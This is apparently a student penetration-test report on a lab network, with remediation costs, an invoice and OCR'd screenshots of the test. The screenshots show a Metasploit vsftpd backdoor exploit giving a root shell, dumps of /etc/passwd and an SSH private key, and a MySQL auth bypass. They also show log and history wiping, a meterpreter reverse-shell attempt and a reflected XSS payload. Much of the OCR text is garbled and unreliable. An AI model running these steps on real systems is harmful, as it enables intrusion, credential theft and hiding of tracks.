An hourly rate of £100 per hour is applied to the costs of remediation. In the event of ongoing costs, this will be calculated per annum and included in the listed price.
The costs associated with remediation are listed as follows:

[bookmark: _Toc157186661]Table 6, Remediation Costs Table
	Remediation
	Expenses
	Cost

	System updates and reconfiguration
	30 hours labour
	£3000

	Changing Credentials and Implementing Password Policy
	5 hours labour
	£500

	Annual External Security Audit
	Annual fee
	£20,000

	Vulnerability Assessments 
	£500 per month
	£6000

	Penetration Testing
	Annual fee
	£12,000

	Staff Training
	£100 per staff
	£10,000

	Network Upgrades
	UTM firewall £400, WAF £400, NAC £400
	£1200

	Network Segmentation Setup 
	15 hours labour
	£1500

	Multifactor Authentication
	£10 per user per month
	£12,000

	Incident Response Plan
	One off fee
	£5000

	Backup Procedures
	Cloud Service Fees
	£10,000

	Total Cost
	£81,200



The invoice for the testing is as follows:

From: John Hughes 					To: Cureton Pharmaceuticals Company
IQ Campus University of Wales,				12 High Street
Swansea Waterfront,					Virtual World
SA1 8EW						AB12 3CD


Testing Service Breakdown:				Cost
Passive reconnaissance – Investigation of VM’s 		£300
Active reconnaissance – Network/port mapping		£400
Vulnerability assessment – Port/service identification	£500
Exploitation – Pen-testing of vulnerabilities		£500
Cleanup & Remediation suggestions - 			£200
Subtotal - 						£1900
Tax - 							£380
Total - 							£2280

Please make payment within 30 days of invoice date.
Payable to:
Mr J Hughes
Account no. 12345678
Sort code:    11-22-33

Contact 1708241@student.uwtsd.ac.uk
Tel. 07711223445
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1 State: VULNERABLE (Exploitable)

| IDs: CVE:CVE-2011-2523 BID:48539

1 VSFTPd version 2.3.4 backdoor, this was reported on 2011-07-04
1 Disclosure date: 2011-07-03

1 Exploit results
1 Shell command: id

1 Results: uid=0(root) gid=0(root)

1 References:

1 https: //github.con/rapid7/metasploit-framework/blob/master/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb
1 http: //scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored. html

1 https://cve.mitre.org/cgi-bin/cvenane. cgizname=CVE-2011-2523

I https://wm.securityfocus.con/bid/48539
|

|

|

|

|

|

|

|

|

|

|

1

Ftp-syst:
STAT:
FTP server status:
Connected to 10.0.2.4
Logged in as ftp
TYPE: ASCIT
No session bandwidth limit
Session timeout in seconds is 300
Control connection is plain text
Data connections will be plain text
VSFTPd 2.3.4 - secure, fast, stable
End of status
I ftp-brute:
| Accounts:
1 user:user - Valid credentials
|_ statistics: Performed 2615 guesses in 603 seconds, average tps: 4.2
Service Info: 0S: Unix

NSE: Script Post-scanning

Initiating NSE at 15:44

Completed NSE at 15:44, 0.005 elapsed

Initiating NSE at 15:44

Completed NSE at 15:44, 0.005 elapsed

Read data files from: /usr/bin/../share/nmap

Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 603.44 seconds

i® kali)-[~]
E;*ﬂ)
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Nmap done: 1 IP address (1 host up) scanned in 603.44 seconds

(kali® kali)-[~]
L nikto -n 10.0.2.8 -p 80

- Nikto v2.5.0

+ Target Ip: 10.0.2.8
+ Target Hostname:  10.0.2.8

+ Target Port. 80

+ Start Time: 2024-01-17 15:56:56 (GMT-5)

Server: Apache/2.2.8 (Ubuntu) DAV/2

Retrieved x-powered-by header: PHP/5.2.4-2ubuntus.10

/: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-Us/docs/Web/HTTP/Headers/X-Frame-Options

The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https
sing-content-type-header/

+ Apache/2.2.8 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch

+ /index: Uncommon header 'tcn' found, with contents: list

+ /index: Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. The following alternatives for 'index’ were found
tps: //exchange. xforce. ibmcloud. con/vulnerabilities/8275

Web Server returns a valid response with junk HTTP methods which may cause false positives

: HTTP TRACE method is active which suggests the host is vulnerable to XST. See: https://owasp.org/wmi-community/attacks/Cross_Site Tracing

/phpinfo.php: Output from the phpinfo() function was found

/doc/: Directory indexing found

/doc/: The /doc/ directory is browsable. This may be /usr/doc. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0678
/7=PHPBEB5F2A0-3C92-11d3-A3A9-4C7BO8BC10000: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings. See: OSVDB-12:

/7=PHPE9S68F36-D428-11d2-A769-00AA0B1ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings. See: OSVDB-12
/7=PHPEOS68F34-D428-11d2-A769-00AA0B1ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings. See: OSVDB-12:
/7=PHPE9S68F35-D428-11d2-A769-00AA0B1ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings. See: OSVDB-12

/phpMyAdmin/changelog. phi
/phpMyAdmin/ChangeLog: Server may leak inodes via ETags, header found with file /phpMyAdnin/Changelog, inode: 92462, siz
/phpMyAdmin/ChangeLog: phpMyAdnin is for managing MySQL databases, and should be protected or limited to authorized hosts

/test/: Directory indexing found

/test/: This might be interesting

/phpinfo.php: PHP is installed, and a test script which runs phpinfo() was found. This gives a lot of system information. See: CWE-552
/icons/: Directory indexing found

/icons/README: Apache default file found. See: http:
/phpMyAdnin/: phpMyAdmin directory found
/phpMyAdmin/Documentation.html: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts
/phpMyAdmin/README: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts. See: http
/#wp~config.phpit: #wp-config.php# file found. This file contains the credentials

8910 requests: 0 error(s) and 27 item(s) reported on remote host

End Time: 2024-01-17 15:57:15 (GMT-5) (19 seconds)

phpMyAdin is for managing MySQL databases, and should be protected or limited to authorized hosts
40540, mtime: Tue Dec 9 12:24:00 2008. See

// wani . vtueb . co..uk/apache-restricting-access-to-iconsreadne/

1 host(s) tested
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—(kali® kali)-[~]
~$ nikto -h 10.0.2.5 -p 80

Nikto v2.5.0

Target Ip: 10.0.2.5
Target Hostname:  10.0.2.5

Target Port: 80

Start Time: 2024-01-17 16:30:16 (GMT-5)

Server: Apache/2.2.8 (Ubuntu) DAV/2 mod_fastcgi/2.4.6 PHP/5.2.4-2ubuntus with Suhosin-Patch mod_ss1/2.2.8 OpenssL/0.9.8g

/: Server may leak inodes via ETags, header found with file /, inode: 838422, size: 588, mtime: Sun Nov 2 13:20:24 2014. See: http://cve.mitre.org/cgi-bin/cver
The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-Us/docs/Web/HTTP/Headers/X-Frame-Options

The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See
ing-content-type-header/

No CGI Directories found (use '-C all’ to force check all possible dirs)

/crossdomain.xml contains a full wildcard entry. See: http://jeremiahgrossman.blogspot.con/2008/05/crossdomainxml-invites-cross-site.html

Apache/2.2.8 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch

PHP/5.2.4-2ubuntus appears to be outdated (current is at least 8.1.5), PHP 7.4.28 for the 7.4 branch

OpenssL/0.9.8g appears to be outdated (current is at least 3.0.7). OpensSL 1.1.1s is current for the 1.x branch and will be supported until Nov 11 2023
mod_ss1/2.2.8 appears to be outdated (current is at least 2.9.6) (may depend on server version)

/index: Uncommon header 'tcn' found, with contents: list

/index: Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. The following alternatives for 'index’ were
bdc59d15, https: //exchange . xforce. ibmcloud. con/vulnerabilities/8275

mod_ss1/2.2.8 OpensSL/0.9.8¢ - mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell.

PHP/5.2 - PHP 3/4/5 and 7.0 are End of Life products without support

OPTIONS: Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE

/: HTTP TRACE method is active which suggests the host is vulnerable to XST. See: https://owasp.org/wm-community/attacks/Cross_Site Tracing

/server-status: This reveals Apache information. Comment out appropriate line in the Apache conf file or restrict access to allowed sources. See: OSVDB-561
/phpmyadmin/changelog.php: Retrieved x-powered-by header: PHP/S.2.4-2ubuntus

/phpmyadmin/changelog.php: phpMyAdmin is for managing MysQL databases, and should be protected or limited to authorized hosts

/icons/: Directory indexing found

/README: README file found.

/INSTALL. txt: Default file found

/icons/README: Apache default file found. See: https://wms.vntueb.co.uk/apache-restricting-access-to-iconsreadne/

/phpmyadmin/: phpMyAdmin directory found

/phpmyadmin/Documentation.html: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts

/#wp~config.phpit: #wp-config.php# file found. This file contains the credentials

8101 requests: 0 error(s) and 24 item(s) reported on remote host

End Time: 2024-01-17 16:30:33 (GMT-5) (17 seconds)

1 host(s) tested

—(kali® kali)-[~]
1 |
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s nikto -h 10.0.2.5 -p 443
- Nikto v2.5.0

« Target 10:
* Targot Hostnane:
+ Target port; wa

SsL nfo: Subject: /C-8E/ST-Flanders/L-Henen/0-MNE/0U-1T/CH
Cipflors: DHE-RSA-AES256-5HA
IsSuer: /C-8E/ST-Flanders/L-Menen/O-MME/OU=1T/CNebee-box. buapp. local /enailaddress-buappai tsecgames. con
2020-01-17 16135355 (G1-5)

Jee-box.buapp. Local /enailAddress-buappi tsecganes. con

+ Start Time:

£ Seryers apache/z 2.5 (Unnte) OAV/2 Od_FOSLCEL/2.4:0 PID/S.2.4 2ubnius with Suhasin-ratch med_551/2.2. openssi/0.9:68
« /3 Server may Leak inodes via ETags, header found with file /, inode: 818422, size: 588, mtime: Sun Nov 2 13:20:24 2014. See: http://cve.mitre.org/cgi-bin/cvenane.cgiZnane=CVE-
L7 Toe antioCUick3acking X-Frame-ptions header 1s- Aot present. Sees hLtpes//developer-boriLia.org/en-Us/docs/ Web/HTTE Headers/ T same-Dpt Lons

+ /3 The site uses TLS and the Strict-Transport-Security HTTP header is not defined. See: Nttps: //developer.mozilla.org/en-Us/docs/eb/HTTP/Headers/Strict-Transport-Security

+ 7: The x-Content-Type-Options header is not set. This could allow the user agent fo Fender the content of the site in a different fashion o the MIME type. See: MEtps://ww.netsparker . con/ueb-vilnerability-scanner/vulnerabilities/mis
Sing-content_type-header/

+'No CGT birectories found (use '~C all' to force check all possible dirs)

* Jerossdomsin.uml contain a Full wAldcard entry. See: Nrtp://jeremiangrosssan.blogspot. con/2006/05/crossdonainkml -invites-cross-site. ntal

3-1418

0penssL/6.9.8g sppears to be outdated (current is at least 3.0.7). OpenSSL 1.1.1s 15 current for the 1.x branch and will be supported until Nov 11 2023.
PHP/5.2.4-20buntus appears. to be outdated (current is at least 8.1.5), PHP 7.4.28 for the 7.4 branch.
mod_s51/2.2.8 appears to be outdated (current s at least 2.9.6) (nay depend on server version).
Apache/2.3.5 appears to be outdated (current is at least Apache/2.4.5%). Apache 2.2.34 is the EOL for the 2.x branch.
Hostnane '10.0.2.5' does not match cortificate’s names: boe-box.buapp.local. See: hitps://cue.mitre.org/data/definitions/297.hts
/index: ncomnon header "ten’ found, with contents: List.
7index: Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. The following alternatives for 'index’ were found: index.bak, index.htal. See: hetp: //uww.wisec.it/sectou.php?id=u98
bdcs9q15, https: //exchange. xforcs . bucLoud. con/vulnerabilities/8275

hod_ss1/2.2.8 0penssL/0.9.8¢ - nod_ss 2,8.7 and lower are vulnerable to a renote buffer overflow which nay allow a remote shell.
+ PHP75.2 - PHP 3/6/5 and 7.0 are End of Life products without SUpPOFT.

< OPTIONS: Allowed HITP Methods: GET, HEAD, POST, OPTIONS, TRACE -

75 HITP TRACE method is active which suggests the host is vulnerable to XST. See: hitps://owasp.ore/wm-comsunity/attacks/Cross Site Tracing

+ Jserver-status: This reveals Apache information. Comment out appropriate line in the Apache conf FIle OF Testrict access to allowed Sources. See: 05VDB-361
+ /phpmyadain/changelog. php: Retrieved x-powered-by header: PHP/S..u-2ubuntus.

* phomyadain/changelog.php: phplyAdain 15 for nanaging MySQL databases, and should be protected or Lisited to authorized hosts.

+ 7icons/: Directory indexing found.

+ JREADNE: READHE file found.

< 7INSTALL. txt: befault file found.

+ /1cons/READNE: Apache default file found. See: NCtps: //wm.vntweb. co.uk/apache-restricting-access-to-iconseadne/

+ Iphpmyadain/: phptyadain directory found.

< /phpmyadain/Docusentation. htal: phoMyhdmin is for managing MySQL databases, and shauld be protected or Limited to authorized hosts.

+ /bwp-config.php#: twp-confiz.phps Filo found. This file contains the credentials.

+ 8103 requests: 9 error(s) and 26 iten(s) reporced on resote host

S Ena 1 (GAT-5) (439 seconds)

+ 1 host(s) tested

(kali® kati)-(~]
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—$ msfconsole
Metasploit tip: Enable verbose logging with set VERBOSE true

dBBBBBBL dBBBP dBBBBBBP ABBBBBb . °
*dB’ BBP
dB'dB’'dB’' dBBP  dBP  dBP BB
dB'dB’dB’ dBP dBP  dBP BB
dB'dB’'dB’ dBBBBP dBP  dBBBBBEB
dEEEEEP  dBBBBBb BP  ABBBBP dBP dBBBBBBP
° 5 dB' dBP  dB'.BP
1 dgP dBBBB' dBP  dB'.BP dBP  dBP
—o--  dsP  dBP  dBP  dB'.BP dBP  dBP
1 dBEEGP dBP  dBBBBP BBBBP ABP  dBP
° To boldly go where no

shell has gone before

metasploit v6.3.51-dev
2384 exploits - 1235 auxiliary - 418 post
1388 payloads - 46 encoders - 11 nops

9 evasion

Metasploit Documentation: https://docs.metasploit.con/

nsf6 > search vsftpd

Matching Modules

# Name Disclosure Date Rank Check Description
0 auxiliary/dos/ftp/} | 232 normal ~ Yes 2.3.2 Denial of Service
1 exploit/unix/ftp/] 234_backdoor excellent No v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 1

nsf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
nsf6 exploit(unix/ftp/vsftpd_234_backdoor) > [

use 1 or use exploit/unix/ftp/vsftpd_234_backdoor
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mst6 > use explolt/unix/ftp/vsttpd_234_backdoor
No payload configured, defaulting to cmd/unix/interact
6 exploit(unin/ftp/veiind 24 bacidoor) > set RHOSTS 10

2.8

RHOSTS = 10.0.2.8

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > check

"~ | This module does not support check.

msF6 exploit(in i/ (n/usiipd ooi Lacidoor) > set PAYLOAD cmd/unix/interact

PAYLOAD = cmd/unix/interact

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > check
"~ This module does not support check.
nsf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[+] 10.0.2.8:21 - Banner: 220 (vsFTPd 2.3.4)

[+] 10.0.2.8:21 - USER: 331 Please specify the password

[+] 10.0.2.8:21 - Backdoor service has been spawned, handling
[+] 10.0.2.8:21 - UID: uid=0(root) gid=0(root)

[+] Found shell.

[+] Command shell session 1 opened (10.0.2

200) at 2024-01-18 12:33:23

34699 > 1
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[*] Command shell session 1 opened (10.0.2.4:34699 — 10.0.2.8:6200) at 2024-01-18 12:33:23 -0500

uname -a # Get information about the system
cat /etc/+-release # Get distribution information

Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 1686 GNU/Linux
DISTRIB_ID=Ubuntu

DISTRIB_RELEASE=8.04

DISTRIB_CODENAME=hardy

DISTRIB_DESCRIPTION="Ubuntu 8.04"
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cat /etc/passwd
root:x:0:0:ro0t: /root: /bin/bash
daemon: /usr/sbin: /bin/sh
bin:/bin/sh
:sys:/dev:/bin/sh
sync:/bin:/bin/sync

60:games: /usr/games: /bin/sh

:9:news: /var/spool/news: /bin/sh
10:10:uucp: /var/spool/uucp: /bin/sh
roxy:/bin:/bin/sh

34:34:backup: /var/backups: /bin/sh
38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd: /bin/sh

::/var/Lib/Uibuuid: /bin/sh
dnep /nonexistent:/bin/false
syslog:x:102:103 :: /home/syslog: /bin/false
klog:x:103:104 :: /home/klog: /bin/false

sshd usr/sbin/nologin
ms fadni /home/ms fadmin: /bin/bash
bind:x:105:113:

postfix

/var/spool/post fix:/bin/false
home/ftp: /bin/false

118:MysQL Server, ,, :/var/lib/mysql:/bin/false
/ust/share/tomcats. 5: /bin/false

165534 2: /1 /bin/false
:1001:just a user,111,,:/home/user:/bin/bash
service:x:1002:1002:,,, :/home/service: /bin/bash
telnetd:x:112:120:: /nonexistent: /bin/false
proftpd:x:113:65534 :: /var/run/proftpd: /bin/false
statd:x:114:65534 :: /var/Lib/nfs: /bin/false
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/var/spool/postrtix/etc/resolv.cont
s -lah /home/

total 24K
druxr-xr-x 6 root  root 4.0 Apr 16 2010
druxr-xr-x 21 root  root  4.0K May 20 2012
druxr-xr-x 2 root  nogroup 4.0K Mar 17 2010 ftp
druxr-xr-x 5 msfadmin msfadmin 4.0K May 20 2012 msfadmin
druxr-xr-x 2 service service 4.0K Apr 16 2010 service
druxr-xr-x 3 user  user  4.0K May 7 2010 user
sudo -1
User root may run the following commands on this host:
(ALL) ALL

cat /home//.ssh/id_rsa
BEGIN RSA PRIVATE KEY——
MITEOQIBAAKCAQEAPMGIFZNLO1bMNALQX7MESGG014KNNI6PVXpbPG70LShHAgLd
JkctezZdPFSbW76TUPRAON+WBVOx1c61PL/02UYFHyFKAZ1e6/5teoweG1r2q0
FFdomVhvXXvSJGaSFumOYBBROXSONNTQTYSeBa66X6e777GVKHCDL YgZSoBulirS
IXUn/Tw7Xot owHr8FEGVW22W1KrU3Z09B2p0e0ac2U+qUGTzIu/WugztLZ55/09T
YhtRWoCYQPE+kcP+J22mt 4y 1uA73KqoXFdwS0GUKXdF09F1nu20uk30C+Wy8VUTb
wkf+1Rg10Mgi J5CCs4WOCYVXSXovCNNbAL Tp3wIBIWKCAQBaU JRSbUXNHGAS FABN
Uqrux02eBQsK1v1bKSDVN1GSzLj4TU/S83BINF5/11hz0f 170AQVLCAUY2tHpGGa
2Q6ImSpUQ519+6gBUOAKLRL/ 19CHAFY7PSonW+SyFUKYSE1dE JRb/060FgB5G8G
IKrwuHPNhVD+d11BnCNOIU+0p/1AF7XXAP814R20nZ Zuix + SKEWVAAABBIQSZpRO
€BB1LSGDSNSQN/1G7wBSHDGSSt2BCKBCICt31n14TKEHEOX3EUSh SENKKWWVG/
ui/qUrrzurXA4Q73u01cPtPg4sx2 JBh3EMRNO L FyCCLBIEBION/2L7 JIXUZGGY6h
JETbAOGBANIBHZR Y tWBMVXh6TnMOaS5S7GIoLdA3HXekyd9IDHYwrA1pbySniiP7
VNP+ORL/SSN1+3ugkOVQYWGG1HZYHk+0QV03qL 1eCBEP3GLSYGZANA/EDHmYMUST
4v3WnhgYMXMDXZenT cGEyLwurPHumgy5nygSEUNDKUF FW03mymIXAOGBAMGZ13YL
2DpL9Yd j6Ih05120QVTI1L PHMCEKSSRERAT 1WTW I LrkroqyaWAUQYKLeyAByUPZ
PufBNr00FkNa+4825vg48dyq6CVObHHR/Ge jAZXiengi6i/tzHbAOPEA 1 OaUmVwY
0asZYEQI47geBVVD3v7D/gPDANOXG/PWIPt5A0GBAMW6Z3S4 tmkBK Cvkhr pb9)
PUO5UXeA111esVG+AYkB9EPCVIvngVNpLAVAG+2) tHUCQaSPEX5+DLavaNriyi2
£5135bq01 11CQ83PriCAMDL49126Pn00Z30+My1ZVIudQ5qhjVzny+0BdM3DNDAE
Xn6yeL+DELT/XbPngsWyAOGAD FuU2a61EQSp281F1IKa10V152U493Cdz IgOTHCF
2TVjoMaFMcyZQ/pztIB7WaY7hod] 8aHRSQKZERT eXXQi KSXUWUNT+3K4 1VXXUiGI
BMndK+FYbRpENaz591K6KYNwLaEE708Z0ek0Q) C2Th7 t1Zn FAFVERHFPFO5 foaAg
1IMCgYASNZUT025CEhwwaWh3UXr0756 JB8HY TETOV1v0y0e3XSI9YPL7c1Y20000
Fb3YqupdHN7A0SAgt FC1eQi/xbXP73KL0EMg39NZAF T3wg817 FX152QGHX 14 /dmk
9429X0EDOCC1V7hr9H//ho08FV/PHXhOOFQuw1d+29n+sghDg=

———END RSA PRIVATE Kev——
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9429X0EDOCC1V7hr9H//ho08FV/PHXhOOFQVw1d+29nf+sghDg=

END RSA PRIVATE KEY——

mysql -u root -p

Enter password: msfadmin

ERROR 1045 (28000): Access denied for user 'root'd’localhost’ (using password: YES
service mysql stop

sh: line 14: service: command not found

mysql -u root

mysqld_safe --skip-grant-tables &
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metasploit v6.3.51-dev
2384 exploits - 1235 auxiliary - 418 post
1391 payloads - 46 encoders - 11 nops

9 evasion

Metasploit Documentation: https://docs.metasploit.con/

msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
3T (et CTAISTEEL), CEhANT, (b Aty Aiesre:

msF6 exploit(unix/ tn/vsiipd 234 bacidoor) > set RHOSTS 10.0.2.8

RHOSTS = 10.0.2.8

msF6 exploit(in i/ <tn/usiipd 254 backdoor) > set PAYLOAD cmd/unix/interact
PAYLOAD = cmd/unix/interact

mSf6 exploit(unis/ftp/vaitpd 234 backdoor) > exploit

[+] 10 - Banner: 220 (vsFTPd 2.3.4)

[+] 10 - USER: 331 Please specify the password

[+] 10 - Backdoor service has been spawned, handling ...
[+] 10 - UID: uid=0(root) gid=0(root)

[+] Found shell.

[*] Command shell 2.8:6200) at 2024-01-18 16:02:53

history ~c & history -w
echo ' > /var/log/auth.log

echo ' > /var/log/syslog

cat /dev/null > /var/run/utmp

cat /dev/null > /var/log/wtmp

™ /tmp/x /var/tmp/x

n: cannot remove /tmp/x': No such file or directory

n: cannot remove “/var/tmp/+': No such file or directory
cat /dev/null > ~/.bash_history & history -c &6 exit

[*] 10.0.2.8 - Command shell session 1 closed

nsf6 exploit(unix/ftp/vsftpd_234_backdoor) > I





image22.png
Wotplyhcrind

alilina KT fal Do EpoD8  Googe ks

phpMyAdmin
Welcome to phpMyAdmin
2.11.3deblubuntul

Error
105 ccss dred o
‘homyaimi@locaost g pasvers 1ES)

~Language
Exi ) g

loging
smame: [zmn
Passwors





image23.png
08

s o KaliDocs N KolFouns o Klilethurer » EqtDB  Guegleacking B ) OFSec

localhost phpMyAdmin - 2.11.3debLubuntul

@ sarerversion: 5096 00003 PUySOL et versn: 5096
o sy PGSO [P —

9 e Locahost ia N skt € rgage 0 g J
gl e g

st chrse: UTF-8 Uicode (utfe) Vontsze: g0 v
Bustcmminolson stmisi 76 (P

% Create new catab @ prgwypdmin i

oo Priveges

Boreps
I E—
¥ Show L rnting lornaten b J

[ ——
8 Son L e i

Bcsses @
D character setsan coltions

B soue s
{8 Databases.
oo
Binpa
gout

phpMyAdmin




image24.png
msf6 > use exploit/multi/http/phpmyadmin_preg_replace

Unknown datastore option: URT
URT = /phpmyadmin/

msf6. exploit(multi/http/phpnyadnin_preg_replace)
payload = php/meterpreter/reverse_tcp
msf6 exploit(multi/http/phpnyadnin_preg_replace)

LHOST = 10.0.2.4

msf6 exploit(multi/http/phpmyadnin_preg_replace)

LPORT = 4444

msf6 exploit(multi/http/phpmyadnin_preg_replace)

[*] Started reverse TCP handler on 10.0.2.4:4444
[+] Cannot reliably check exploitability.

[*] Grabbing CSRF token .

set.

set.

set.

RHOST 10.0.2.5
USERNAME admin

PASSWORD '

[+ No payload configured, defaulting to php/meterpreter/reverse_tcp
msf6 exploit(multi/http/phpnyadnin_preg_replace) > set

RHOST = 10.0.2.5

ms£6/ exploit(multi/http/phpnyadmin_preg_replace) > set

USERNAME = admin

msf6/ exploit(multi/http/phpnyadmin_preg_replace) > set

PASSWORD =

msf6! exploit(multi/http/phpnyadnin_preg_replace) > set

URT /phpmyadmin/

payload php/meterpreter/reverse_tcp
LHOST 10.0.2.4

LPORT 46444

exploit

| Exploit aborted due to failure: not-found: Couldn't find token. Is URI set correctly?
[+] Exploit completed, but no session was created.
msf6 exploit(multi/http/phpmyadmin_preg_replace) > [|





image25.png
2 /7 <HILDATAL

16
7
18
19
20
21
2
23
2
25
2
27
28
29
30
31
32
33
34
35
36
37
38
39
40

// definitions used in guerywindow.js

var comnon_query = ' 121dc311bedsdofees997c11d93e74c8"

var opendb_url = 'db_structure.php';
var safari_browser = false;

var querywindow height = 400;

var querywindow width = 600;

var collation_connection = 'utf8 unicode ci';
var lang = 'en-utf-g
var

var
var
var text_ i

var pma_absolute uri = 'http://10.9.2.5/phpmyadnin/';

// for content and navigation frames

var frame_content
var frane_navigation =
function getFrames() {
frane_content = window. franes[1];
frane_navigation = window. franes{ol;
¥
var onloadCnt =
var onLoadHandler = window.onload;
window.onload = function() {
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msf6 > msfconsole

"~ | msfconsole cannot be run inside msfconsole

msf6 > use exploit/multi/http/phpmyadnin_preg_replace

[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
mSf6 exploit(nulti/hep/phpmyadiin preg replace) > set RHOST 10.0.2.5
RHOST = 10.0.2.5

mSF6 exploit( il /ity /phpnyadiin pres replace) > set USERNAME admin

USERNAME = admin

mSF6 exploit(iii i /htp/phpnyadnin preg replace) > set PASSWORD
PASSWORD =

mSF6 exploit(nil /ity /phpnyadiin pres replace) > set URT /phpmyadmin/

Unknown datastore option: URT

URT = /phpmyadnin/

mSF6 exploit(ii /1ty /pipyadiin pres replace) > set payload php/meterpreter/reverse_tcp
payload = php/meterpreter/reverse_tcp

mSF6 exploit(ru i/ itep/phpuyadnin prog replace) > set LHOST 10.0.2.4

LHOST = 10.0.2.4

mSF6 exploit(nit /1ty /phpmyadiin pres replace) > set LPORT 4bhh

LPORT = 4444

mSF6 exploit(nil /1ty /phpnyadnin pres replace) > set TOKEN 121dc311bedsdofee89o7c11d93e7scs
[ Unknown datastore option: TOKEN

TOKEN = 121dc311bedsdofee8997c11d93e74c8

msf6 exploit(milti/htep/phpmyadnin_preg_replace) > exploit

[+] Started reverse TCP handler on 10.0.2.4:4444
[+] Cannot reliably check exploitability.

[+] Grabbing CSRF token
|| Exploit aborted due to failure: not-found: Couldn't find token. Is URT set correctly?
[+] Exploit completed, but no session was created.

msf6 exploit(multi/http/phpmyadnin_preg_replace) > [





image27.png
Bumpor-|

® | Kalilinux X BWAPP - XSS X +

< o X @ O @ 10.0.2.5/bWAPP/xss_get.php?firstname ript>alert('RED+TEAM+TESTING')%3B<%2!

KaliLinux # KaliTools « KaliDocs 3 Kali Forums e Kali NetHunter = Exploit-DB * Google Hacking DB ¢} OffSec

@ Choose yo

word Create User

curity Level

Change

©®10.025

XSS - Reflect

RED TEAM TESTING

Enter your frst and last name:

First name:
ED TEAM TESTING')</script>

Last name

Welcome Kali





image28.PNG
INTE%NE[

cpc
NAT NETWORK
PHARMA RECORDS DB

(METASPLOITABLE2)

WAF

Network \
access
- control st - ©)
DOMAIN CONTROLLER L]
(WINDOWS SERVER 2019)
RED TEAM ENGINEER
KALILINUX

EMPLOYEE WORKSTATION MANAGEMENT WORKSTATION
- WINDOWS 10) (WINDOWS 10)




